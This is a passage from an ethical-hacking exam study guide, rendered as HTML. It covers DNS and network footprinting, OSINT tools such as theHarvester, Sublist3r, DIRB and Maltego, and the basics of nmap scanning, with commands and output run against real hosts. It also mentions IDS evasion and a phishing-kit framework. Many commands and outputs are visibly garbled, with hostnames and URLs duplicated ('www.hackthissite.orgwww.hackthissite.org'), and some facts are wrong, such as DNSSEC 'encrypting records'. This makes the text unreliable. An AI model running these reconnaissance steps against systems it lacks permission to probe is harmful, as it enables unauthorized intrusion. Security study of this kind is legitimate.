          <td>Indicates the authoritative NS for a namespace</td>
          </tr>
          <tr>
          <td>PTR</td>
          <td>Pointer</td>
          <td>Maps an IP to a hostname</td>
          </tr>
          <tr>
          <td>NS</td>
          <td>Nameserver</td>
          <td>Lists the nameservers for a namespace</td>
          </tr>
          <tr>
          <td>MX</td>
          <td>Mail Exchange</td>
          <td>Lists email servers</td>
          </tr>
          <tr>
          <td>CNAME</td>
          <td>Canonical Name</td>
          <td>Maps a name to an A reccord</td>
          </tr>
          <tr>
          <td>A</td>
          <td>Address</td>
          <td>Maps an hostname to an IP address              </td>
          </tr>
          </tbody>
          </table>
          
      </ul>
    </li>
    <li>
      <p><strong>DNS Poisoning</strong> - changes cache on a machine to redirect requests to a malicious server</p>
    </li>
    <li>
      <p><strong>DNSSEC</strong> - helps prevent DNS poisoning by encrypting records</p>
    </li>
    <li>
      <p><strong>SOA Record Fields</strong></p>
      <ul>
        <li><strong>Source Host</strong> - hostname of the primary DNS</li>
        <li><strong>Contact Email</strong> - email for the person responsible for the zone file</li>
        <li><strong>Serial Number</strong> - revision number that increments with each change</li>
        <li><strong>Refresh Time</strong> - time in which an update should occur</li>
        <li><strong>Retry Time</strong> - time that a NS should wait on a failure</li>
        <li><strong>Expire Time</strong> - time in which a zone transfer is allowed to complete</li>
        <li><strong>TTL</strong> - minimum TTL for records within the zone</li>
      </ul>
    </li>
    <li>
      <p><strong>IP Address Management</strong></p>
      <ul>
        <li><strong>ARIN</strong> - North America</li>
        <li><strong>APNIC</strong> - Asia Pacific</li>
        <li><strong>RIPE</strong> - Europe, Middle East</li>
        <li><strong>LACNIC</strong> - Latin America</li>
        <li><strong>AfriNIC</strong> - Africa</li>
      </ul>
    </li>
    <li>
      <p><strong>Whois</strong> - obtains registration information for the domain from command line or web interface.
      </p>
      <ul>
        <li>on Kali, whois is pre-installed on CLI; e.g: <code>whois google.com</code>)</li>
        <li>on Windows, you can use <strong>SmartWhois</strong> GUI software to perform a whois, or any website like
          domaintools.com</li>
      </ul>
    </li>
    <li>
      <p><strong>Nslookup</strong> - Performs DNS queries; (nslookup is pre-installed on Kali Linux)</p>
      <ul>
        <li>
          <p><code>nslookup www.hackthissite.org</code></p>
        </li>
        <li>
          <pre><code>Server:         192.168.63.2
Address:        192.168.63.2#53

Non-authoritative answer:
Name:   www.hackthissite.orgwww.hackthissite.org
Address: 137.74.187.103
Name:   www.hackthissite.orgwww.hackthissite.org
Address: 137.74.187.102
Name:   www.hackthissite.orgwww.hackthissite.org
Address: 137.74.187.100
Name:   www.hackthissite.orgwww.hackthissite.org
Address: 137.74.187.101
Name:   www.hackthissite.orgwww.hackthissite.org
Address: 137.74.187.104
</code></pre>
          <ul>
            <li>
              <p>First two lines shows my current DNS server; The IP addresses returned are '<strong>A record</strong>',
                meaning is the IPvA address of the domain; Bottom line NsLookup queries the specified DNS server and
                retrieves the requested records that are associated with the domain.</p>
            </li>
            <li>
              <p><strong>The following types of DNS records are especially useful to use on Nslookup:</strong></p>
            </li>
            <li>
              <table class="table table-striped table-bordered">
                <thead>
                <tr>
                <th>Type</th>
                <th>Description</th>
                </tr>
                </thead>
                <tbody>
                <tr>
                <td>A</td>
                <td>the IPv4 address of the domain</td>
                </tr>
                <tr>
                <td>AAAA</td>
                <td>the domain’s IPv6 address</td>
                </tr>
                <tr>
                <td>CNAME</td>
                <td>the canonical name — allowing one domain name to map on to another. This allows more than one website to refer to a single web server.</td>
                </tr>
                <tr>
                <td>MX</td>
                <td>the server that handles email for the domain.</td>
                </tr>
                <tr>
                <td>NS</td>
                <td>one or more authoritative name server records for the domain.</td>
                </tr>
                <tr>
                <td>TXT</td>
                <td>a record containing information for use outside the DNS server. The content takes the form name=value. This information is used for many things including authentication schemes such as SPF and DKIM.</td>
                </tr>
                </tbody>
                </table>
            </li>
          </ul>
        </li>
        <li>
          <p><strong>Nslookup - Interactive mode zone transfer</strong> (Interactive mode allows the user to query name
            servers for information about various hosts and domains or to print a list of hosts in a domain).</p>
          <ul>
            <li><code>nslookup</code></li>
            <li><code>server &lt;IP Address&gt;</code></li>
            <li><code>set type = &lt;DNS type&gt;</code></li>
            <li><code>&lt;target domain&gt;</code></li>
          </ul>
        </li>
        <li>
          <pre><code>nslookup 
&gt; set type=AAAA                                                                                                                                            
&gt; www.hackthissite.orgwww.hackthissite.org
Server:         192.168.63.2                                                                                                                               
Address:        192.168.63.2#53                                                                                                                            
                                                                                                                                                              
Non-authoritative answer:                                                                                                                                  
Name:   www.hackthissite.orgwww.hackthissite.org                                                                                                                               
Address: 2001:41d0:8:ccd8:137:74:187:103                                                                                                                   
Name:   www.hackthissite.orgwww.hackthissite.org                                                                                                                               
Address: 2001:41d0:8:ccd8:137:74:187:102                                                                                                                   
Name:   www.hackthissite.orgwww.hackthissite.org                                                                                                                               
Address: 2001:41d0:8:ccd8:137:74:187:101                                                                                                                   
Name:   www.hackthissite.orgwww.hackthissite.org                                                                                                                               
Address: 2001:41d0:8:ccd8:137:74:187:100
Name:   www.hackthissite.orgwww.hackthissite.org
Address: 2001:41d0:8:ccd8:137:74:187:104
</code></pre>
        </li>
      </ul>
    </li>
    <li>
      <p><strong>Dig</strong> - unix-based command like nslookup</p>
      <ul>
        <li><code>dig &lt;target&gt;</code></li>
        <li>
          <pre><code>dig www.hackthissite.orgwww.hackthissite.org

; &lt;&lt;&gt;&gt; DiG 9.16.2-Debian &lt;&lt;&gt;&gt; www.hackthissite.orgwww.hackthissite.org
;; global options: +cmd
;; Got answer:
;; -&gt;&gt;HEADER&lt;&lt;- opcode: QUERY, status: NOERROR, id: 51391
;; flags: qr rd ra; QUERY: 1, ANSWER: 5, AUTHORITY: 0, ADDITIONAL: 1

;; OPT PSEUDOSECTION:
; EDNS: version: 0, flags:; MBZ: 0x0005, udp: 4096
;; QUESTION SECTION:
;www.hackthissite.org.          IN      A

;; ANSWER SECTION:
www.hackthissite.orgwww.hackthissite.org.   5       IN      A       137.74.187.104
www.hackthissite.orgwww.hackthissite.org.   5       IN      A       137.74.187.101
www.hackthissite.orgwww.hackthissite.org.   5       IN      A       137.74.187.100
www.hackthissite.orgwww.hackthissite.org.   5       IN      A       137.74.187.102
www.hackthissite.orgwww.hackthissite.org.   5       IN      A       137.74.187.103

;; Query time: 11 msec
;; SERVER: 192.168.63.2#53(192.168.63.2)
;; WHEN: Tue Aug 11 15:05:01 EDT 2020
;; MSG SIZE  rcvd: 129

</code></pre>
        </li>
        <li>To get email records specify <code>-t MX</code>
          <ul>
            <li><code>dig &lt;target&gt; -t MX</code></li>
          </ul>
        </li>
        <li>To get zone transfer specify <code>axfr</code></li>
      </ul>
    </li>
  </ul>
  <h3>Network Footprinting</h3>
  <ul>
    <li>
      <p>IP address range can be obtained from regional registrar (e.g: ARIN for America, RIPE for Europe, etc)</p>
    </li>
    <li>
      <p>Use <code>traceroute</code> to find intermediary servers</p>
      <ul>
        <li>traceroute uses ICMP echo in Windows (tracert)</li>
        <li>traceroute is good for detect Firewalls and the network path</li>
      </ul>
    </li>
  </ul>
  <p><strong>Usage example</strong>:</p>
  <ul>
    <li><strong><code>traceroute -I nsa.gov</code></strong>
      <ul>
        <li>Specify target: <code>traceroute &lt;target&gt;</code></li>
        <li>In this case is used ICMP ECHO for tracerouting: <code>-I</code></li>
      </ul>
    </li>
  </ul>
  <pre><code>traceroute -I nsa.gov
traceroute to nsa.gov (104.83.73.99), 30 hops max, 60 byte packets
 1  192.168.63.2 (192.168.63.2)  0.194 ms  0.163 ms  0.150 ms
 2  * * *
 3  * * *
 4  * * *
 5  * * *
 6  * * *
 7  * * *
 8  * * *
 9  * * *
10  * * *
11  a104-83-73-99.deploy.static.akamaitechnologies.com (104.83.73.99)  42.742 ms  42.666 ms  25.176 ms

</code></pre>
  <blockquote>
    <p>⚠️ <strong>Windows command - <code>tracert</code></strong>
      ⚠️ <strong>Linux Command - <code>traceroute</code></strong></p>
  </blockquote>
  <h2><u>Other Relevant Tools</u></h2>
  <h3><strong>OSRFramework</strong></h3>
  <blockquote>
    <p>⚡︎ <strong>OSRFramework has a <a
          href="https://github.com/Samsar4/Ethical-Hacking-Labs/blob/master/1-Footprinting-and-Reconnaissance/4-OSRFramework.md">practical
          lab</a></strong></p>
  </blockquote>
  <p>Uses open source intelligence to get information about target. <em>(Username checking, DNS lookups, information
      leaks research, deep web search, regular expressions extraction, and many others)</em>.</p>
  <h3><strong>Web Spiders</strong></h3>
  <p>Obtain information from the website such as pages, etc.</p>
  <h3><strong><a href="https://github.com/lanmaster53/recon-ng">Recon-ng</a></strong></h3>
  <blockquote>
    <p>⚡︎ <strong>Recon-ng has a <a
          href="https://github.com/Samsar4/Ethical-Hacking-Labs/blob/master/1-Footprinting-and-Reconnaissance/3-Recon-ng.md">practical
          lab</a></strong></p>
  </blockquote>
  <p>Recon-ng is a web-based open-source reconnaissance tool used to extract information from a target organization and
    its personnel.</p>
  <p>Provides a powerful environment in which open source web-based reconnaissance can be automated conducted, quickly
    and thoroughly.</p>
  <h3><strong><a href="https://github.com/rapid7/metasploit-framework">Metasploit Framework</a></strong></h3>
  <blockquote>
    <p>⚡︎ <strong>Metasploit has a <a
          href="https://github.com/Samsar4/Ethical-Hacking-Labs/blob/master/1-Footprinting-and-Reconnaissance/5-Metasploit-Basics.md">practical
          lab</a></strong></p>
  </blockquote>
  <p>The Metasploit Framework is a tool that provides information about security vulnerabilities and aids in penetration
    testing and IDS signature development; <strong>This is a huge framework that provide Recon tools as well.</strong>
  </p>
  <h3><strong><a href="https://github.com/laramies/theHarvester">theHarvester</a></strong></h3>
  <blockquote>
    <p>⚡︎ <strong>theHarvester has a <a
          href="https://github.com/Samsar4/Ethical-Hacking-Labs/blob/master/1-Footprinting-and-Reconnaissance/6-theHarvester.md">practical
          lab</a></strong></p>
  </blockquote>
  <p>theHarvester is a OSINT tool; Useful for gathering information like:</p>
  <ul>
    <li>Emails</li>
    <li>Subdomains</li>
    <li>Hosts</li>
    <li>Employee names</li>
    <li>Open ports</li>
    <li>Banners from different public sources like search engines, PGP key servers and SHODAN computer database.</li>
  </ul>
  <p><strong>Usage example</strong>:</p>
  <ul>
    <li><strong><code>theHarvester -d www.hackthissite.org -n -b google</code></strong>
      <ul>
        <li>Issue theHarvester command: <code>theHarvester</code></li>
        <li>Specify the domain: <code>-d &lt;url&gt;</code></li>
        <li>Perform dns lookup: <code>-n</code></li>
        <li>Specify search engine/source: <code>-b google</code></li>
      </ul>
    </li>
  </ul>
  <pre><code>theHarvester -d www.hackthissite.orgwww.hackthissite.org -n -b  google
table results already exists

*
*  _   _                                            _             *                                                                                        
* | |_| |__   ___    /\  /\__ _ _ ____   _____  ___| |_ ___ _ __  *                                                                                        
* | __|  _ \ / _ \  / /_/ / _` | '__\ \ / / _ \/ __| __/ _ \ '__| *                                                                                        
* | |_| | | |  __/ / __  / (_| | |   \ V /  __/\__ \ ||  __/ |    *                                                                                        
*  \__|_| |_|\___| \/ /_/ \__,_|_|    \_/ \___||___/\__\___|_|    *                                                                                        
*                                                                 *                                                                                        
* theHarvester 3.1.0                                         *                                                                                             
* Coded by Christian Martorella                                   *                                                                                        
* Edge-Security Research                                          *                                                                                        
* cmartorella@edge-security.comcmartorella@edge-security.com                                   *                                                                                        
*                                                                 *                                                                                        
*                                                                                        
                                                                                                                                                           
                                                                                                                                                           
[*] Target: www.hackthissite.orgwww.hackthissite.org 
                                                                                                                                                           
[*] Searching Google. 
        Searching 0 results.
        Searching 100 results.
        Searching 200 results.
        Searching 300 results.
        Searching 400 results.
        Searching 500 results.

[*] No IPs found.

[*] Emails found: 2
----------------------
ab790c1315@www.hackthissite.orgab790c1315@www.hackthissite.org
staff@hackthissite.orgstaff@hackthissite.org

[*] Hosts found: 7
---------------------
0.loadbalancer.www.hackthissite.org:
22www.hackthissite.org:
2522www.hackthissite.org:
253dwww.hackthissite.org:
www.hackthissite.org:137.74.187.104www.hackthissite.org:137.74.187.104, 137.74.187.100, 137.74.187.101, 137.74.187.103, 137.74.187.102
x22www.hackthissite.org:

[*] Starting active queries.
137.74.187.100
[*] Performing reverse lookup in 137.74.187.0/24
module 'theHarvester.discovery.dnssearch' has no attribute 'DnsReverse'
</code></pre>
  <h3><strong><a href="https://github.com/aboul3la/Sublist3r">Sublist3r</a></strong></h3>
  <p>Sublist3r <strong>enumerates subdomains</strong> using many search engines such as Google, Yahoo, Bing, Baidu and
    Ask. Sublist3r also enumerates subdomains using Netcraft, Virustotal, ThreatCrowd, DNSdumpster and ReverseDNS</p>
  <p><strong>Usage example</strong>:</p>
  <ul>
    <li><strong><code>python3 sublist3r.py -d hackthissite.org</code></strong>
      <ul>
        <li>Specify the domain: <code>-d &lt;url&gt;</code></li>
      </ul>
    </li>
  </ul>
  <pre><code>python3 sublist3r.py -d hackthissite.org

                 ____        _     _ _     _   _____                                                                                                       
                / ___| _   _| |__ | (_)___| |_|___ / _ __                                                                                                  
                \___ \| | | | '_ \| | / __| __| |_ \| '__|                                                                                                 
                 ___) | |_| | |_) | | \__ \ |_ ___) | |                                                                                                    
                |____/ \__,_|_.__/|_|_|___/\__|____/|_|                                                                                                    
                                                                                                                                                           
                # Coded By Ahmed Aboul-Ela - @aboul3la                                                                                                     
                                                                                                                                                           
[-] Enumerating subdomains now for hackthissite.org                                                                                                        
[-] Searching now in Baidu..
[-] Searching now in Yahoo..
[-] Searching now in Google..
[-] Searching now in Bing..
[-] Searching now in Ask..
[-] Searching now in Netcraft..
[-] Searching now in DNSdumpster..
[-] Searching now in Virustotal..
[-] Searching now in ThreatCrowd..
[-] Searching now in SSL Certificates..
[-] Searching now in PassiveDNS..
[-] Total Unique Subdomains Found: 41
www.hackthissite.orgwww.hackthissite.org
admin.hackthissite.org
api.hackthissite.org
ctf.hackthissite.org
vm-005.outbound.firewall.hackthissite.org
vm-050.outbound.firewall.hackthissite.org
vm-099.outbound.firewall.hackthissite.org
vm-150.outbound.firewall.hackthissite.org
vm-200.outbound.firewall.hackthissite.org
forum.hackthissite.org
forums.hackthissite.org
git.hackthissite.org
irc.hackthissite.org
(...)
</code></pre>
  <h3><a href="https://tools.kali.org/web-applications/dirb">DIRB</a></h3>
  <p>DIRB is a Web Content Scanner. It looks for existing (and/or hidden) Web Objects. It basically works by launching a
    dictionary based attack/brute force attack against a web server and analyzing the response.</p>
  <ul>
    <li>Useful to find subdirectories on web application</li>
  </ul>
  <p><strong>Usage example</strong>:</p>
  <ul>
    <li><strong><code>dirb https://www.hackthissite.org/ /usr/share/wordlists/dirb/small.txt</code></strong>
      <ul>
        <li>Specify the url by issuing dirb command: <code>dib &lt;url&gt;</code></li>
        <li>Specify the wordlist: <code>/path/to/wordlist</code></li>
      </ul>
    </li>
  </ul>
  <pre><code>dirb https://www.hackthissite.org/https://www.hackthissite.org/ /usr/share/wordlists/dirb/small.txt 

-----------------
DIRB v2.22    
By The Dark Raver
-----------------

URL_BASE: https://www.hackthissite.org/https://www.hackthissite.org/
WORDLIST_FILES: /usr/share/wordlists/dirb/small.txt

-----------------

GENERATED WORDS: 959                                                           

---- Scanning URL: https://www.hackthissite.org/https://www.hackthissite.org/ ----
+ https://www.hackthissite.org/apihttps://www.hackthissite.org/api (CODE:200|SIZE:10)                                                                                                     
+ https://www.hackthissite.org/bloghttps://www.hackthissite.org/blog (CODE:200|SIZE:20981)                                                                                                 
+ https://www.hackthissite.org/cgi-bin/https://www.hackthissite.org/cgi-bin/ (CODE:403|SIZE:199)  
</code></pre>
  <h3>Maltego</h3>
  <blockquote>
    <p>⚡︎ <strong>Maltego has <a
          href="https://github.com/Samsar4/Ethical-Hacking-Labs/blob/master/1-Footprinting-and-Reconnaissance/2-Maltego-Basics.md">practical
          labs</a></strong></p>
  </blockquote>
  <p>Maltego is a powerful OSINT tool, you can extract a broad type of information through the network, technologies and
    personnel(email, phone number, twitter).</p>
  <ul>
    <li>You able to:
      <ul>
        <li>Identify IP address</li>
        <li>Identify Domain and Domain Name Schema</li>
        <li>Identify Server Side Technology</li>
        <li>Identify Service Oriented Architecture (SOA) information</li>
        <li>Identify Name Server</li>
        <li>Identify Mail Exchanger</li>
        <li>Identify Geographical Location</li>
        <li>Identify Entities</li>
        <li>Discover Email addresses and Phone numbers</li>
      </ul>
    </li>
  </ul>
  <p><img
      src="https://gist.githubusercontent.com/Samsar4/62886aac358c3d484a0ec17e8eb11266/raw/6fe1dc406ed480aea2acfb2e9f34d51a0536e042/maltego-WebSite-IP-Location-WhoisOnDomain-5.png"
      alt="alt text" title="IP Address, Location"></p>
  <h3>Social Engineering Framework (SEF)</h3>
  <p>It’s a open source Social Engineering Framework (SCRIPT) that helps generate phishing attacks and fake emails. and
    it’s includes phishing pages, fake email, fake email with file attachment and other stuff that helps you in Social
    Engineering Attack.</p>
  <p><img src="https://hacknews247.com/wp-content/uploads/2018/10/20181002_212155_533793.png" alt="sef"></p>
  <h2><u>Web Based Recon</u></h2>
  <h3><strong><a href="https://www.netcraft.com/">NetCraft</a></strong></h3>
  <p>Netcraft is a website analyzing server, with the help of this website we find basic and important information on
    the website like:</p>
  <ul>
    <li><strong>Background</strong> — This includes basic domain information.
      <ul>
        <li>Which OS, Web server is runing; Which ISP;</li>
      </ul>
    </li>
    <li><strong>Network</strong> — This includes information from IP Address to Domain names to nameservers.</li>
    <li><strong>SSL/TLS</strong> — This gives the ssl/tls status of the target</li>
    <li><strong>Hosting History</strong> - This gives the information on the hosting history of the target</li>
    <li><strong>Sender Policy Framework (SPF)</strong> — This describes who can send mail on the domains behalf</li>
    <li><strong>DMARC</strong> -This is a mechanism for domain owners to indicate how mail purporting to originate from
      their domain should be authenticated</li>
    <li><strong>Web Trackers</strong> — This trackers can be used to monitor individual user behavior across the web
      Site Technology — This section includes details on:
      <ul>
        <li>Cloud &amp; PaaS</li>
        <li>Server-Side technologies (e.g: PHP)</li>
        <li>Client-Side technologies (e.g: JavaScript library)</li>
        <li>CDN Information</li>
        <li>CMS Information (e.g: Wordpress, Joomla, etc)</li>
        <li>Mobile Technologies</li>
        <li>Web stats (e.g: Web analytics, collection, etc)</li>
        <li>Character encoding</li>
      </ul>
    </li>
  </ul>
  <p><img src="https://i0.wp.com/hackingblogs.com/wp-content/uploads/2018/01/Capture-min-2.png" alt="netcraft"></p>
  <h3><strong><a href="https://www.shodan.io/">Shodan</a></strong></h3>
  <p><em>Shodan Unlike traditional search engines such as Google, use Web crawlers to traverse your entire site, but
      directly into the channel behind the Internet, various types of port equipment audits, and never stops looking for
      the Internet and all associated <strong>servers, camera, printers, routers, and so on</strong>.</em></p>
  <ul>
    <li>
      <p>Some have also described it as a search engine of service banners, which are metadata that the server sends
        back to the client.</p>
    </li>
    <li>
      <p>Shodan works well with basic, single-term searches. Here are the basic search filters you can use:</p>
      <ul>
        <li><strong>city:</strong> find devices in a particular city</li>
        <li><strong>country:</strong> find devices in a particular country</li>
        <li><strong>geo:</strong> you can pass it coordinates</li>
        <li><strong>hostname:</strong> find values that match the hostname</li>
        <li><strong>net:</strong> search based on an IP or /x CIDR</li>
        <li><strong>os:</strong> search based on an operating system</li>
        <li><strong>port:</strong> find particular ports that are open</li>
        <li><strong>before/after:</strong> find results within a timeframe</li>
      </ul>
    </li>
  </ul>
  <p><img src="https://logz.io/wp-content/uploads/2019/05/Shodan.png" alt="shodan">
    <img src="https://securityonline.info/wp-content/uploads/2017/10/shodan-1-615x1024.png" alt="shodan2"></p>
  <h3><strong><a href="https://censys.io/overview/">Censys</a></strong></h3>
  <p><em>Alternative for Shodan.</em></p>
  <p><img
      src="https://gist.githubusercontent.com/Samsar4/62886aac358c3d484a0ec17e8eb11266/raw/403be7a4514b6e0af36e0f568328372a5ce09cbf/censys.png"
      alt="censys"></p>
  <h1>2. Scanning and Enumeration</h1>
  <blockquote>
    <p>⚡︎ <strong>This chapter has practical labs for <a
          href="https://github.com/Samsar4/Ethical-Hacking-Labs/tree/master/2-Scanning-Networks">Scanning Networks
          (1)</a> and <a href="https://github.com/Samsar4/Ethical-Hacking-Labs/tree/master/3-Enumeration">Enumeration
          (2)</a></strong></p>
  </blockquote>
  <p><strong>Network Scanning</strong> - Discovering systems on the network (can be hosts, switches, servers, routers,
    firewalls and so on) and looking at what ports are open as well as applications/services and their respective
    versions that may be running.</p>
  <p><strong>In general network scanning have <u>three main objectives</u>:</strong></p>
  <ol>
    <li>Scanning for live devices, OS, IPs in use.
      <ul>
        <li><strong><code>Server at 192.168.60.30</code></strong></li>
      </ul>
    </li>
    <li>Looking for Ports open/closed.
      <ul>
        <li><strong><code>The server 192.168.60.30 have TCP port 23 (Telnet) running</code></strong></li>
      </ul>
    </li>
    <li>Search for vulnerabilities on services scanned.
      <ul>
        <li><strong><code>The Telnet service is cleartext and have many vulnerabilities published</code></strong></li>
      </ul>
    </li>
  </ol>
  <p><strong>Connectionless Communication</strong> - UDP packets are sent without creating a connection. Examples are
    TFTP, DNS (lookups only) and DHCP</p>
  <p><strong>Connection-Oriented Communication</strong> - TCP packets require a connection due to the size of the data
    being transmitted and to ensure deliverability</p>
  <h3><u>Scanning Methodology</u></h3>
  <ul>
    <li><strong>Check for live systems</strong> - Ping or other type of way to determine live hosts</li>
    <li><strong>Check for open ports</strong> - Once you know live host IPs, scan them for listening ports</li>
    <li><strong>Scan beyond IDS</strong> - If needed, use methods to scan beyond the detection systems; evade IDS using
      proxies, spoofing, fragmented packets and so on</li>
    <li><strong>Perform banner grabbing</strong> - Grab from servers as well as perform OS fingerprinting (versions of
      the running services)</li>
    <li><strong>Scan for vulnerabilities</strong> - Use tools to look at the vulnerabilities of open systems</li>
    <li><strong>Draw network diagrams</strong> - Shows logical and physical pathways into networks</li>
    <li><strong>Use proxies</strong> - Obscures efforts to keep you hidden</li>
    <li><strong>Pentest Report</strong> - Document everything that you find</li>
  </ul>
  <h2><u>Identifying Targets</u></h2>
  <ul>
    <li>
      <p>The easiest way to scan for live systems is through ICMP.</p>
    </li>
    <li>
      <p>It has it's shortcomings and is sometimes blocked on hosts that are actually live.</p>
    </li>
    <li>
      <p><strong>Message Types and Returns</strong></p>
      <ul>
        <li>
          <p>Payload of an ICMP message can be anything; RFC never set what it was supposed to be. Allows for covert
            channels</p>
        </li>
        <li>
          <p><strong>Ping sweep</strong> - easiest method to identify multiple hosts on subnet. <em>You can automate
              ping sweep with scripting language like Bash Script (Linux) or PowerShell (Windows) or use softwares like
              Advanced IP Scanner, Angry IP Scanner, Nmap, etc.</em></p>
        </li>
        <li>
          <p><strong>ICMP Echo scanning</strong> - sending an ICMP Echo Request to the network IP address</p>
        </li>
        <li>
          <p>An ICMP return of type 3 with a code of 13 indicates a poorly configured firewall</p>
        </li>
        <li>
          <p><strong>Ping scanning tools</strong></p>
          <ul>
            <li><strong>Nmap</strong>
              <ul>
                <li><strong><code>nmap -sn 192.168.1.0/24</code></strong></li>
                <li><em>This command uses <code>-sn</code> flag (ping scan). This will perform a ping sweep on 256 IP
                    addresses on this subnet in seconds, showing which hosts are up.</em></li>
              </ul>
            </li>
            <li><strong>hping3</strong>
              <ul>
                <li><strong><code>hping -1 10.0.0.x --rand-dest -I eth0</code></strong>
                  <ul>
                    <li><code>-1</code> --&gt; ICMP mode</li>
                    <li><code>--rand-dest</code> --&gt; random destionation address mode</li>
                    <li><code>-I &lt;interface&gt;</code> --&gt; network interface name</li>
                  </ul>
                </li>
              </ul>
            </li>
            <li><strong>Angry IP Scanner</strong></li>
            <li><strong>Solar-Winds Engineer Toolkit</strong></li>
            <li><strong>Advanced IP Scanner</strong></li>
            <li><strong>Pinkie</strong></li>
          </ul>
        </li>
        <li>
          <p>Nmap virtually always does a ping sweep with scans unless you turn it off</p>
        </li>
      </ul>
    </li>
  </ul>
  <ul>
    <li>
      <p><strong>Important ICMP codes</strong></p>
      <p><table>
        <thead>
        <tr>
        <th>ICMP Message Type</th>
        <th>Description and Codes</th>
        </tr>
        </thead>
        <tbody>
        <tr>
        <td>0: Echo Reply</td>
        <td>Answer to a Type 8 Echo Request</td>
        </tr>
        <tr>
        <td>3: Destination Unreachable</td>
        <td>Error message followed by these codes: 0 - Destination network unreachable 1 - Destination host unreachable 6 - Network unknown 7 - Host unknown 9 - Network administratively prohibited 10 - Host administratively prohibited 13 - Communication administratively prohibited </td>
        </tr>
        <tr>
        <td>4: Source Quench</td>
        <td>A congestion control message </td>
        </tr>
        <tr>
        <td>5: Redirect</td>
        <td>Sent when there are two or more gateways available for the sender to use. Followed by these codes: 0 - Redirect datagram for the network 1 - Redirect datagram for the host</td>
        </tr>
        <tr>
        <td>8: Echo Request</td>
        <td>A ping message, requesting an echo reply</td>
        </tr>
        <tr>
        <td>11: Time Exceeded</td>
        <td>Packet took too long to be routed (code 0 is TTL expired)</td>
        </tr>
        </tbody>
        </table>
        </p>
    </li>
  </ul>
  <h2><u>Port Discovery - Basic Concepts</u></h2>
  <h3>Knocking the door:</h3>
  <img width="60%"
    src="https://gist.githubusercontent.com/Samsar4/62886aac358c3d484a0ec17e8eb11266/raw/f8b2f839cee428a08506a9831a5d2f066e7301e7/openport.png">
  <ul>
    <li>The hacker above sends a SYN packet to port 80 on the server.
      <ul>
        <li>If server returns <strong>SYN-ACK packet</strong> = the port is <strong>open</strong></li>
        <li>If server returns <strong>RST (reset) packet</strong> = the port is <strong>closed</strong></li>
      </ul>
    </li>
  </ul>
  <h3>Checking if Stateful Firewall is present:</h3>
  <img width="60%"
    src="https://gist.githubusercontent.com/Samsar4/62886aac358c3d484a0ec17e8eb11266/raw/649d665844b3a3e5c57983e6003616eff3292280/nmap-probe.png">
  <ul>
    <li>The hacker above sends an <strong>ACK segment/packet</strong> on the first interaction <em>(without three-way
        handshake)</em>.
      <ul>
        <li>If server returns <strong>no response</strong> means that might have a stateful firewall handling proper
          sessions</li>
        <li>If server returns <strong>RST packet</strong> means that have no stateful firewall</li>
      </ul>
    </li>
  </ul>
  <blockquote>
    <p>⚠️ <strong>This can be easily achieved by using nmap only.</strong></p>
  </blockquote>
  <hr>
  <h3>⚠️ Keep in mind the TCP Flags &amp; TCP Three-way handshake before use <code>nmap</code>!</h3>
  <ul>
    <li>☞ TCP Flags:</li>
  </ul>
  <table>
    <thead>
      <tr>
        <th>Flag</th>
        <th>Name</th>
        <th>Function</th>
      </tr>
    </thead>
    <tbody>
      <tr>
        <td>SYN</td>
        <td>Synchronize</td>
        <td>Set during initial communication. Negotiating of parameters and sequence numbers</td>
      </tr>
      <tr>
        <td>ACK</td>
        <td>Acknowledgment</td>
        <td>Set as an acknowledgement to the SYN flag. Always set after initial SYN</td>
      </tr>
      <tr>
        <td>RST</td>
        <td>Reset</td>
        <td>Forces the termination of a connection (in both directions)</td>
      </tr>
      <tr>
        <td>FIN</td>
        <td>Finish</td>
        <td>Ordered close to communications</td>
      </tr>
      <tr>
        <td>PSH</td>
        <td>Push</td>
        <td>Forces the delivery of data without concern for buffering</td>
      </tr>
      <tr>
        <td>URG</td>
        <td>Urgent</td>
        <td>Data inside is being sent out of band. Example is cancelling a message</td>
      </tr>
    </tbody>
  </table>
  <ul>
    <li>☞ The TCP Three-way handshake: <em>(<a
          href="https://github.com/Samsar4/CEH-v10-Study-Guide/blob/master/modules/0-Introduction.md">explained in
          chapter 0 - Introduction</a>)</em></li>
  </ul>
  <p><img src="https://wiki.mikrotik.com/images/f/fc/Image2001.gif" alt="TCP-handshake"></p>
  <hr>
  <h1>Nmap</h1>
  <blockquote>
    <p>⚠️ <strong>The CEH exam will definitely cover Nmap questions, about switches and how to perform a specific type
        of scan.</strong></p>
  </blockquote>
  <blockquote>
    <p>⚡︎ <strong>It is highly recommended to try out and explore the nmap in your own virtual environment; I made a
        couple <a
          href="https://github.com/Samsar4/Ethical-Hacking-Labs/blob/master/2-Scanning-Networks/4-Nmap.md">practical
          labs[1]</a> <a
          href="https://github.com/Samsar4/Ethical-Hacking-Labs/blob/master/2-Scanning-Networks/5-NmapDecoyIP.md">[2]</a>
        <a
          href="https://github.com/Samsar4/Ethical-Hacking-Labs/blob/master/3-Enumeration/1-Enumerating-with-Nmap.md">[3]</a>
        to help you understand the functionality of nmap.</strong></p>
  </blockquote>
  <p><em>Nmap ("Network Mapper") is a free and open source (license) utility for network discovery and security
      auditing. Many systems and network administrators also find it useful for tasks such as network inventory,
      managing service upgrade schedules, and monitoring host or service uptime. Nmap uses raw IP packets in novel ways
      to <strong>determine what hosts are available on the network, what services (application name and
        version)</strong> those hosts are offering, <strong>what operating systems (and OS versions) they are running,
        what type of packet filters/firewalls are in use</strong>, and dozens of other characteristics.</em> <a
      href="https://nmap.org/">[+]</a></p>
  <h1>Nmap Scan Types:</h1>
  <h3><strong>Stealth Scan</strong></h3>
  <p>Half-open scan or SYN scan - only SYN packets sent. Responses same as full.</p>
  <ul>
    <li>Useful for hiding efforts and evading firewalls</li>
    <li><strong><code>nmap -sS &lt;target IP&gt;</code></strong></li>
  </ul>
  <hr>
  <h3><strong>Full connect</strong></h3>
  <p>TCP connect or full open scan. The first two steps (SYN and SYN/ACK) are exactly the same as with a SYN scan. Then,
    instead of aborting the half-open connection with a RST packet, krad acknowledges the SYN/ACK with its own ACK
    packet, completing the connection.</p>
  <ul>
    <li>Full connection and then tears down with RST.</li>
    <li>Easiest to detect, but most reliable</li>
    <li><strong><code>nmap -sT &lt;target IP&gt;</code></strong></li>
  </ul>
  <hr>
  <h3><strong>TCP ACK scan / flag probe</strong> - multiple methods</h3>
  <ul>
    <li>TTL version - if TTL of RST packet &lt; 64, port is open</li>
